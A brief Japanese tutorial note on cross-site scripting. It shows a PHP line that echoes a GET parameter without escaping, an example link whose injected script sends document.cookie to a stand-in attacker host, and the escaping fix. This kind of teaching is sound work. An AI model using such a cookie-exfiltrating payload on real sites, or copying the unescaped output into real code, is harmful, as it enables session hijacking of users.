はじめに
クロスサイトスクリプティングについてまとめる
クロスサイトスクリプティングとは
外部から入力された値に対し、エスケープ処理の不備などによって不正なスクリプトが混入/実行されてしまうこと。
例
以下のようなコードがあったとき、
xss.php
こんにちは、<?php print $_GET['name']; ?>さん
ユーザーが以下のリンクを設置すると、http://yawai.example.com/ 上で使用しているクッキー情報をhttp://clacker.example.com/ に送信してしまうことになる。
http://yawai.example.com/yawai.php?name=<script>location.href='http://clacker.example.com/clacker.php?param=' + document.cookie</script>
対策
外部から入力された値を表示に反映する場合はエスケープ処理を施す。
[訂正] 動的に生成されるすべての値にエスケープ処理を施す。